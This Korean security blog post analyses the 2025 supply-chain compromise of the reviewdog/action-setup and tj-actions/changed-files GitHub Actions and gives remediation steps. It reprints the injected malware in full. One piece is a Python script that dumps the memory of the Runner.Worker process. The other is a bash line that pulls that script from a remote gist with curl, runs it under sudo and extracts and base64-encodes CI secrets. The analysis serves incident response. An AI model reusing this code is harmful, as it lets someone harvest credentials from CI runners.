1. tj-actions/changed-files [1]

- 리포지토리에서 파일 변경 사항을 추적(감지)하는 용도로 활용

- 약 23,000개 이상의 리포지토리에서 사용중

2. reviewdog/action-setup [2][3]

- 코드 리뷰 및 정적 분석을 자동화하는 데 사용

3. 주요 내용

- 공격자는 GitHub Action reviewdog/action-setup@v1를 감염시킨 후 이를 통해 tj-actions/changed-files를 침투 [4][5][6]

> CI/CD 러너(Runner) 메모리 데이터를 덤프해 환경 변수와 비밀 키를 로그에 기록하도록 조작

> 이로 인해 AWS 액세스 키, 깃허브 개인 액세스 토큰(PAT), NPM 토큰, 개인 RSA 키 등이 외부로 노출될 수 있음

[사진 1] 공급망 공격 과정 요약

- 공격자는 reviewdog/action-setup@v1의 install.sh에 Based64로 인코딩된 Python 코드를 삽입(Hardcoded) [8]

> 해당 코드는 Runner.Worker 프로세스의 메모리에서 읽기 가능한 영역을 추출하여 덤프하는 코드

> CVE-2025-30154 (CVSS: 8.6)으로 지정 [9]

[사진 2] install.sh에 Hardcoded된 악성 코드

#!/usr/bin/env python3

# based on https://davidebove.com/blog/?p=1620

import sys
import os
import re

# 실행 중인 프로세스 중 'Runner.Worker' 문자열이 포함된 프로세스의 PID를 찾아 반환
def get_pid():
    # /proc 디렉터리에서 현재 실행 중인 모든 프로세스 PID 목록 가져오기
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        try:
            # 각 프로세스의 cmdline (실행 명령어) 확인
            with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
                if b'Runner.Worker' in cmdline_f.read():  # Runner.Worker가 포함된 프로세스인지 확인
                    return pid
        except IOError:
            continue

    # 해당 프로세스가 없으면 예외 발생
    raise Exception('Can not get pid of Runner.Worker')


if __name__ == "__main__":
    # Runner.Worker 프로세스의 PID 찾기
    pid = get_pid()
    print(pid)

    # 해당 프로세스의 maps과 mem 파일 경로 지정
    map_path = f"/proc/{pid}/maps"
    mem_path = f"/proc/{pid}/mem"

    # map 파일 및 mem 파일 읽기
    with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
        # 메모리 매핑된 각 영역을 한 줄씩 읽음
        for line in map_f.readlines():
            # 정규 표현식으로 메모리 시작-끝 주소와 권한 정보 추출
            m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)

            # 읽기 권한이 있는 영역만 대상
            if m and m.group(3) == 'r':
                start = int(m.group(1), 16)  # 시작 주소
                end = int(m.group(2), 16)    # 끝 주소

                # 64비트 환경에서 파이썬 int로 처리할 수 없는 주소 건너뛰기
                if start > sys.maxsize:
                    continue

                # 메모리 파일 포인터를 해당 영역의 시작 위치로 이동
                mem_f.seek(start)
                
                try:
                    # 메모리 내용을 읽고 표준 출력으로 내보내기 (바이너리로)
                    chunk = mem_f.read(end - start)
                    sys.stdout.buffer.write(chunk)
                except OSError:
                    # 일부 영역은 읽을 수 없을 수 있음 → 무시하고 넘어감
                    continue

 

- 공격자는 덤프로 탈취한 자격증명을 도용해 tj-actions/changed-files를 침해한 것으로 판단됨

> 공격자는 Based64로 인코딩된 페이로드를 index.js에 삽입

> 해당 코드는 특정 URL에서 Python 코드를 다운 받아 실행한 후 Based64를 두 번 적용해 출력하는 코드

> CVE-2025-30066 (CVSS: 8.6)으로 지정 [10]

[사진 3] 삽입된 함수

# 현재 OS 타입이 리눅스인 경우
if [[ "$OSTYPE" == "linux-gnu" ]]; then
# 특정 URL에서 memdump.py 다운로드 및 실행
# sudo 권한으로 실행
# 널 문자 제거 (tr -d '\0'), 특정 패턴 출력 (grep ~), 중복 제거 (sort -u), Based64 인코딩 두 번 적용 (base64 -w 0)
# 인코딩된 값 출력
  B64_BLOB=`curl -sSf hxxps://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi

 

- 특정 URL의 Python 코드는 Runner.Worker 프로세스의 메모리에서 읽기 가능한 영역을 추출하여 출력

#!/usr/bin/env python3

import sys
import os
import re

# 실행 중인 프로세스 중 'Runner.Worker' 문자열이 포함된 프로세스의 PID를 찾아 반환하는 함수
def get_pid():
    # /proc 디렉터리에서 현재 실행 중인 모든 프로세스 PID 목록 가져오기 
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        try:
            # 각 프로세스의 cmdline (실행 명령어) 확인
            with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
                # Runner.Worker가 포함된 프로세스인지 확인
                if b'Runner.Worker' in cmdline_f.read():
                    # 찾으면 해당 PID 반환
                    return pid  
        except IOError:
            # 접근 불가한 PID는 무시
            continue

    # 찾지 못할 경우 예외 발생
    raise Exception('Can not get pid of Runner.Worker')  

if __name__ == "__main__":
    pid = get_pid()  # 대상 프로세스 PID 획득
    print(pid)  # 표준 출력으로 PID 출력 (bash 스크립트에서 사용)

    map_path = f"/proc/{pid}/maps"  # 메모리 매핑 정보 파일
    mem_path = f"/proc/{pid}/mem"   # 실제 메모리 접근 파일

    with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
        for line in map_f.readlines():  # 매핑된 메모리 영역 하나씩 확인
            m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)  # 시작-끝 주소, 권한 파싱
            if m and m.group(3) == 'r':  # 읽기 권한(r)이 있는 영역만
                start = int(m.group(1), 16)
                end = int(m.group(2), 16)

                if start > sys.maxsize:  # 64비트 환경에서 처리 불가한 주소 방지
                    continue

                mem_f.seek(start)  # 메모리 영역 시작점으로 이동

                try:
                    chunk = mem_f.read(end - start)  # 해당 메모리 영역 읽기
                    sys.stdout.buffer.write(chunk)   # 메모리 내용 바이너리로 출력 (bash에서 후속 처리)
                except OSError:
                    # 일부 보호된 메모리 영역 접근 불가 → 무시
                    continue

[사진 4] tj-actions/changed-files 침해 요약

3. 대응방안

Action 업데이트 적용 (or 대체 도구로 교체 or 사용 중단)

- tj-actions/changed-files의 경우 46.0.1 버전에서 취약점을 해결 [11]

> 대체 도구 사용 : tj-actions/changed-files 액션을 step-security/changed-files@v45 로 교체

> 또는 사용 중단

 

Action 워크플로 실행 로그 감사

- 해당 기간 동안 Runner.Worker 관련 이상 활동 및 tj-actions/changed-files 또는 reviewdog/action-setup@v1 기록 확인

> “🐶 Preparing environment ...” 또는 [사진 5]의 문자열이 확인될 경우 악성코드가 실행된 것

[사진 5] 악성코드가 실행된 경우의 예시

관련된 비밀 정보 모두 변경

- GitHub 개인 액세스 토큰 (PAT), AWS 키, NPM 토큰, RSA 키 등 모든 종류의 비밀 키 교체

 

GitHub Actions 버전 고정 : 커밋 해시로 고정

- 특정 커밋 해시를 사용해 버전 고정

 

GitHub 허용 목록 기능 활용

- 신뢰할 수 있는 GitHub Actions만 실행하도록 허용 목록 구성

 

Reviewdog 의존 Action 점검

- reviewdog/action-setup이 다른 reviewdog Action의 구성요소로 포함되어 있어 해당 Action들에 대한 확인 필요
> reviewdog/action-shellcheck 
> reviewdog/action-composite-template 
> reviewdog/action-staticcheck 
> reviewdog/action-ast-grep 
> reviewdog/action-typos 

 

관련 로그 삭제 또는 환경 초기화

- 워크플로우 실행 로그 등 관련 로그를 삭제하거나 초기 환경으로 초기화

4. 참고

[1] https://github.com/tj-actions/changed-files
[2] https://github.com/reviewdog/action-setup
[3] https://github.com/reviewdog/reviewdog
[4] https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised
[5] https://sysdig.com/blog/detecting-and-mitigating-the-tj-actions-changed-files-supply-chain-attack-cve-2025-30066/
[6] https://www.wiz.io/blog/new-github-action-supply-chain-attack-reviewdog-action-setup
[7] https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066
[8] https://github.com/reviewdog/action-setup/commit/f0d342
[9] https://nvd.nist.gov/vuln/detail/CVE-2025-30154
[10] https://nvd.nist.gov/vuln/detail/cve-2025-30066
[11] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71685&menuNo=205020
[12] https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-github-action-cve-2025-30066
[13] https://www.dailysecu.com/news/articleView.html?idxno=164623
[14] https://news.hada.io/topic?id=19770

+ Recent posts